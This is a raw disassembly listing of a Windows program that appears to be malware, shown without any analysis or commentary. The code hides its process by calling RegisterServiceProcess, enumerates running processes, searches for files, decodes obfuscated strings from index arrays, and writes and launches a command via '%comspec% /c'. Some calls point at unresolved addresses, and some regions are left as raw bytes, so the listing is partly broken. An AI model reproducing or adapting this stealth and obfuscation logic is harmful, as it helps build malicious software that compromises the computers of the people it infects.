		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D027


loc_40CFB0:				; CODE XREF: sub_40CF60+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D017
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40CFCA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D017
		cmp	al, 2Eh
		jz	short loc_40D017


loc_40CFCA:				; CODE XREF: sub_40CF60+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_443684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_402257
		add	esp, 2Ch
		mov	ebp, eax


loc_40D017:				; CODE XREF: sub_40CF60+55j
					; sub_40CF60+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		call	near ptr 2860000h
		nop
		test	eax, eax
		jnz	short loc_40CFB0


loc_40D027:				; CODE XREF: sub_40CF60+4Ej
		push	ebx
		nop
		call	near ptr 2850708h
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_443684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0BB


loc_40D068:				; CODE XREF: sub_40CF60+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401523
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		call	near ptr 2860000h
		nop
		test	eax, eax
		jnz	short loc_40D068


loc_40D0BB:				; CODE XREF: sub_40CF60+106j
		push	ebx
		nop
		call	near ptr 2850708h
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40CF60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D130	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40D130	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D2E0:				; CODE XREF: ___:004013CAj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		call	near ptr 2871AC7h
		nop
		push	eax
		call	near ptr 2871154h
		nop
		mov	eax, dword_4470B0
		test	eax, eax
		jz	loc_40D403
		mov	ecx, dword_4470AC
		test	ecx, ecx
		jz	loc_40D403
		mov	ecx, dword_446F78
		test	ecx, ecx
		jz	loc_40D403
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_4470A8, eax
		jz	loc_40D403
		push	ebp
		push	offset dword_446F80
		push	eax
		xor	ebp, ebp
		mov	dword_446F80, 128h
		call	dword_4470AC	; Process32First
		test	eax, eax
		jz	loc_40D3EC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_50FAD4
		push	edi


loc_40D36D:				; CODE XREF: ___:0040D3E7j
		mov	edi, offset dword_446FA4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446FA4
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446FA4
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D3D3
		mov	edi, offset dword_446FA4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446FA4
		mov	ecx, ebx
		call	sub_401681
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D3D4


loc_40D3D3:				; CODE XREF: ___:0040D3ABj
		inc	ebp


loc_40D3D4:				; CODE XREF: ___:0040D3D1j
		mov	eax, dword_4470A8
		push	offset dword_446F80
		push	eax
		call	dword_446F78	; Process32Next
		test	eax, eax
		jnz	short loc_40D36D
		pop	edi
		pop	esi
		pop	ebx


loc_40D3EC:				; CODE XREF: ___:0040D357j
		mov	ecx, dword_4470A8
		push	ecx
		nop
		call	near ptr 28308C8h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D403:				; CODE XREF: ___:0040D306j
					; ___:0040D314j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D460:				; CODE XREF: ___:00401F91j
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 2880CA5h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_50F8E8
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 28807E9h
		mov	ebx, dword_50F8D8
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 2880000h
		push	esi
		call	ebx


loc_40D526:				; CODE XREF: ___:0040D4C9j
					; ___:0040D50Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D580	proc near		; CODE XREF: sub_401B59j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27D0A8Ah
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015D7
		lea	ecx, [esp+1A8h+var_184]
		call	sub_401424
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C5D
		push	eax
		push	0
		call	near ptr 2871AC7h
		nop
		push	eax
		nop
		call	near ptr 2871154h
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 27C0924h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D671
		mov	edi, dword_50F8A0
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_4470B4, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_4470B0, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_4470AC, eax
		call	edi
		mov	dword_446F78, eax
		mov	eax, dword_4470B4
		test	eax, eax
		jz	short loc_40D671
		push	ebx
		push	0
		call	eax


loc_40D671:				; CODE XREF: sub_40D580+A7j
					; sub_40D580+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402117
		test	eax, eax
		jnz	short loc_40D6A8
		mov	al, byte_44719F
		test	al, al
		jz	short loc_40D6A8
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D6A8:				; CODE XREF: sub_40D580+10Dj
					; sub_40D580+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_40D580	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
		dd 8D50FFFFh, 0A8248Ch,	38680000h, 5100443Bh, 2723E890h
		dd 3D8B001Eh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 4145F9E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h
		dd 85D6FF50h, 0A0D074C0h, 4477FBh, 74C0845Dh, 0CC358B39h
		dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B30h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3EA0h,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0E8900000h,	23D266Ch, 874C085h, 0E890006Ah
		dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1,	0FF3875E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3861E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB10	proc near		; CODE XREF: sub_401195j
		mov	al, byte_4471A1
		test	al, al
		jz	short loc_40DB24
		push	offset word_4471A2
		call	near ptr 27D0887h
		nop


loc_40DB24:				; CODE XREF: sub_40DB10+7j
		mov	al, 1
		retn
sub_40DB10	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB40	proc near		; CODE XREF: sub_401E5Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DB40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2871AC7h
		push	eax
		nop
		call	near ptr 2871154h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		call	near ptr 27B0000h
		nop
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017E4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_443684
		push	ecx
		call	sub_5EFFD5
		nop
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		call	near ptr 285042Eh
		nop
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E0A1
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_401424
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019B5
		add	esp, 18h
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+708h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+710h+var_4], 2
		call	sub_4019B5
		add	esp, 30h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019B5
		add	esp, 18h
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+714h+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+71Ch+var_4], 4
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019B5
		add	esp, 1Ch
		mov	[esp+6E0h+var_6C8], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+708h+var_5D4]
		push	7
		push	edx
		mov	byte ptr [esp+710h+var_4], 6
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+714h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+71Ch+var_4], 8
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		mov	byte ptr [esp+734h+var_4], 9
		push	18h
		push	5
		push	4Eh
		push	14h
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 7Ch
		mov	[esp+6E0h+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+6F8h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+700h+var_4], 0Ah
		call	sub_4019B5
		add	esp, 20h
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019B5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		lea	edx, [esp+710h+var_6AC]
		push	edx
		call	sub_40102D
		add	esp, 34h
		lea	ecx, [esp+6E0h+var_64C]
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017E4
		push	eax
		push	esi
		call	near ptr 27C0000h
		nop
		push	esi
		call	near ptr 28308C8h
		nop
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2871AC7h
		push	eax
		call	near ptr 2871154h
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		call	sub_5EFFD5
		nop
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		lea	eax, [esp+6FCh+var_110]
		push	0
		push	eax
		push	0
		call	near ptr 27E0000h
		nop
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E0A1:				; CODE XREF: sub_40DB40+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DB40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E220	proc near		; CODE XREF: sub_401726j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_401424
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
